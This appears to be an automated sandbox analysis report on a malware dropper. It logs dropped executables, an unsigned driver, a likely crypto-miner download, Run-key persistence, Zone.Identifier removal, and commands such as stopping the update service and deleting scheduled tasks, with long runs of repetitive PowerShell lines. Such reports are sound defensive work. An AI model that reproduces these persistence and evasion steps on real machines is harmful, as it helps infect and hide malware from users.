File created: C:\Users\user\AppData\Local\Temp\21324.scr

Jump to dropped file

Drops executables to the windows directory (C:\Windows) and starts them

Source: C:\Users\user\AppData\Local\Temp\21324.scr

Executable created and started: C:\Windows\sysppvrdnvs.exe

Jump to behavior

Sample is not signed and drops a device driver

Source: C:\Users\user\Microsoft Windows Security\winupsecvmgr.exe

File created: C:\Users\user\AppData\Roaming\Google\Libs\WR64.sys

Source: C:\Users\user\Desktop\Us051y7j25.exe

0_2_001410B0

Source: C:\Users\user\AppData\Local\Temp\21324.scr	File created: C:\Windows\sysppvrdnvs.exe	Jump to dropped file
Source: C:\Windows\sysppvrdnvs.exe	File created: C:\Users\user\AppData\Local\Temp\2314627202.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1239611256.exe	File created: C:\Users\user\Microsoft Windows Security\winupsecvmgr.exe	Jump to dropped file
Source: C:\Windows\sysppvrdnvs.exe	File created: C:\Users\user\AppData\Local\Temp\1091722296.exe	Jump to dropped file
Source: C:\Windows\sysppvrdnvs.exe	File created: C:\Users\user\AppData\Local\Temp\1881231804.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1091722296.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\nxmr[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\Us051y7j25.exe	File created: C:\Users\user\AppData\Local\Temp\21324.scr	Jump to dropped file
Source: C:\Users\user\Microsoft Windows Security\winupsecvmgr.exe	File created: C:\Users\user\AppData\Local\Temp\jacrzswcvuml.tmp	Jump to dropped file
Source: C:\Users\user\Desktop\Us051y7j25.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\tdrpl[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1091722296.exe	File created: C:\Users\user\AppData\Local\Temp\1239611256.exe	Jump to dropped file
Source: C:\Users\user\Microsoft Windows Security\winupsecvmgr.exe	File created: C:\Users\user\AppData\Roaming\Google\Libs\WR64.sys	Jump to dropped file
Source: C:\Windows\sysppvrdnvs.exe	File created: C:\Users\user\AppData\Local\Temp\146916724.exe	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\21324.scr

File created: C:\Windows\sysppvrdnvs.exe

Jump to dropped file

Boot Survival

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\schtasks.exe schtasks /delete /f /tn "Windows Upgrade Manager"

Source: C:\Windows\sysppvrdnvs.exe

Registry key value modified: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\BITS

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\21324.scr	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run Windows Settings			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\21324.scr	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run Windows Settings			Jump to behavior

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\sc.exe sc stop UsoSvc

Hooking and other Techniques for Hiding and Protection

Found hidden mapped module (file has been removed from disk)

Source: C:\Users\user\Microsoft Windows Security\winupsecvmgr.exe	Module Loaded: C:\USERS\user\APPDATA\LOCAL\TEMP\JACRZSWCVUML.TMP
Source: C:\Users\user\Microsoft Windows Security\winupsecvmgr.exe	Module Loaded: C:\USERS\user\APPDATA\LOCAL\TEMP\JACRZSWCVUML.TMP

Hides that the sample has been downloaded from the Internet (zone.identifier)

Source: C:\Users\user\AppData\Local\Temp\21324.scr	File opened: C:\Users\user\AppData\Local\Temp\21324.scr:Zone.Identifier read attributes \| delete	Jump to behavior
Source: C:\Windows\sysppvrdnvs.exe	File opened: C:\Windows\sysppvrdnvs.exe:Zone.Identifier read attributes \| delete	Jump to behavior
Source: C:\Windows\sysppvrdnvs.exe	File opened: C:\Users\user\AppData\Local\Temp\1082429028.exe:Zone.Identifier read attributes \| delete	Jump to behavior
Source: C:\Windows\sysppvrdnvs.exe	File opened: C:\Users\user\AppData\Local\Temp\3336719498.exe:Zone.Identifier read attributes \| delete	Jump to behavior
Source: C:\Windows\sysppvrdnvs.exe	File opened: C:\Users\user\AppData\Local\Temp\1881231804.exe:Zone.Identifier read attributes \| delete	Jump to behavior
Source: C:\Windows\sysppvrdnvs.exe	File opened: C:\Users\user\AppData\Local\Temp\2314627202.exe:Zone.Identifier read attributes \| delete	Jump to behavior
Source: C:\Windows\sysppvrdnvs.exe	File opened: C:\Users\user\AppData\Local\Temp\1091722296.exe:Zone.Identifier read attributes \| delete	Jump to behavior
Source: C:\Windows\sysppvrdnvs.exe	File opened: C:\Users\user\AppData\Local\Temp\146916724.exe:Zone.Identifier read attributes \| delete	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1091722296.exe	File opened: C:\Users\user\AppData\Local\Temp\1239611256.exe:Zone.Identifier read attributes \| delete

Loading BitLocker PowerShell Module

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1

Source: C:\Users\user\Desktop\Us051y7j25.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Us051y7j25.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\sysppvrdnvs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1881231804.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1881231804.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1881231804.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1881231804.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1881231804.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1881231804.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1881231804.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1881231804.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1881231804.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1881231804.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1881231804.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1881231804.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1881231804.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1881231804.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1881231804.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1881231804.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1881231804.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1881231804.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1881231804.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1881231804.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2314627202.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1091722296.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\146916724.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
